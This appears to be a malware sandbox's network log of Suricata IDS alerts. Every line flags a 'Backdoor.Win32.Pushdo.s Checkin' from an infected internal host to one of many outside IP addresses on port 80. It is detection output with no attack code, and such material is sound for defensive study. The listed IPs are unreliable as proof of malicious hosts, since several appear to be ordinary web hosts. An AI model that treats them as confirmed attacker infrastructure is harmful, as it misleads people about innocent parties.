Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52951 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52945 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52948 -> 144.76.24.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52920 -> 213.165.251.217:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52795 -> 137.118.26.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52957 -> 18.245.31.21:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52864 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52930 -> 213.165.251.217:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52944 -> 183.90.183.73:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52963 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52958 -> 195.78.66.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52871 -> 80.74.154.6:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52967 -> 192.124.249.20:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52965 -> 104.21.23.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52977 -> 85.131.197.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52969 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52964 -> 59.106.19.204:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52952 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52979 -> 165.22.45.169:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52976 -> 188.166.152.188:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52971 -> 118.27.125.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52989 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52975 -> 144.76.24.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52973 -> 80.93.82.33:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52955 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52988 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52968 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52990 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52959 -> 147.154.0.23:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52954 -> 188.166.152.188:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52985 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52881 -> 135.181.73.98:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52986 -> 147.154.3.56:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52966 -> 3.19.116.195:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52972 -> 70.39.251.249:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53003 -> 104.21.88.198:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52897 -> 104.21.66.46:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52980 -> 18.245.31.21:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52999 -> 35.164.78.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52974 -> 217.79.184.35:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53006 -> 185.15.129.58:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52946 -> 3.65.101.129:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52998 -> 170.82.174.30:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52978 -> 217.79.184.35:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52908 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53000 -> 142.250.186.147:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52997 -> 104.26.7.221:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53001 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52993 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53004 -> 213.186.33.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53010 -> 89.161.163.246:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53012 -> 211.1.226.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53011 -> 85.131.197.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53031 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53026 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53025 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52861 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53029 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52996 -> 34.149.87.45:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53041 -> 208.109.214.162:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53033 -> 208.109.214.162:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53019 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53023 -> 5.196.166.214:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53028 -> 139.59.171.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53040 -> 154.53.43.150:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53038 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53035 -> 60.43.154.138:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53030 -> 192.252.154.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53018 -> 213.186.33.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53048 -> 192.124.249.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52987 -> 74.208.236.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53044 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53051 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53046 -> 80.74.154.6:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52915 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53049 -> 185.80.51.179:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53055 -> 93.187.206.66:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53037 -> 104.26.10.81:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53058 -> 122.128.109.107:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53057 -> 81.2.194.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52938 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53062 -> 198.185.159.144:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52984 -> 165.22.45.169:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53061 -> 172.67.173.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53047 -> 154.53.43.150:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53015 -> 104.26.15.53:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53060 -> 116.211.150.37:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53027 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53013 -> 54.161.222.85:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53056 -> 93.187.206.66:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53066 -> 202.254.236.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53017 -> 62.122.190.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53063 -> 122.128.109.107:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53065 -> 135.181.73.98:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52853 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53068 -> 46.242.238.60:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53076 -> 107.180.98.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53071 -> 107.180.98.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53075 -> 104.26.3.124:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53069 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53064 -> 188.165.133.163:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53077 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53079 -> 96.127.180.42:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53072 -> 69.163.239.62:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53074 -> 104.21.66.46:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53090 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53088 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53087 -> 183.90.183.73:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53021 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53091 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53089 -> 108.167.164.216:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53084 -> 5.189.128.121:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53039 -> 141.193.213.11:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53083 -> 185.53.177.50:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53081 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53085 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53078 -> 51.79.51.72:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53094 -> 3.94.41.167:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53093 -> 217.19.237.54:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53092 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53096 -> 75.119.202.130:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52970 -> 137.118.26.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52981 -> 198.100.146.220:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53095 -> 69.163.182.181:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53097 -> 104.196.26.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53099 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53098 -> 217.79.184.35:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53101 -> 144.76.24.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53103 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53104 -> 147.154.3.56:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53102 -> 18.245.31.21:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53005 -> 198.100.146.220:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53107 -> 3.65.101.129:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53100 -> 213.165.251.217:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53045 -> 104.26.10.81:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53112 -> 5.196.166.214:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53106 -> 188.166.152.188:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53111 -> 195.78.66.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53113 -> 211.1.226.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53109 -> 85.131.197.10:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53118 -> 165.22.45.169:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53117 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53120 -> 13.248.252.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53124 -> 208.109.214.162:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53050 -> 193.166.255.171:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53125 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53123 -> 93.187.206.66:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53122 -> 35.164.78.200:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53121 -> 104.26.10.81:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53126 -> 213.186.33.40:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53127 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53131 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53067 -> 96.91.204.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53129 -> 154.53.43.150:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53130 -> 103.224.182.241:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53070 -> 96.91.204.114:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53135 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53136 -> 107.180.98.101:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53073 -> 64.125.133.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53114 -> 23.227.38.74:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53080 -> 64.125.133.18:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52939 -> 13.248.169.48:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53133 -> 122.128.109.107:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53140 -> 185.53.177.50:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53128 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53141 -> 104.218.10.254:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53143 -> 157.112.176.4:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53108 -> 198.100.146.220:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53146 -> 173.254.28.29:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53144 -> 173.254.28.29:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53139 -> 104.218.10.254:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53142 -> 157.112.176.4:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52950 -> 195.78.66.65:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:52995 -> 211.1.226.67:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53159 -> 34.218.204.173:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53153 -> 104.21.23.9:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53149 -> 103.224.182.253:80
Source: Network traffic	Suricata IDS: 2016867 - Severity 1 - ET MALWARE Backdoor.Win32.Pushdo.s Checkin : 192.168.2.5:53152 -> 188.114.97.3:80
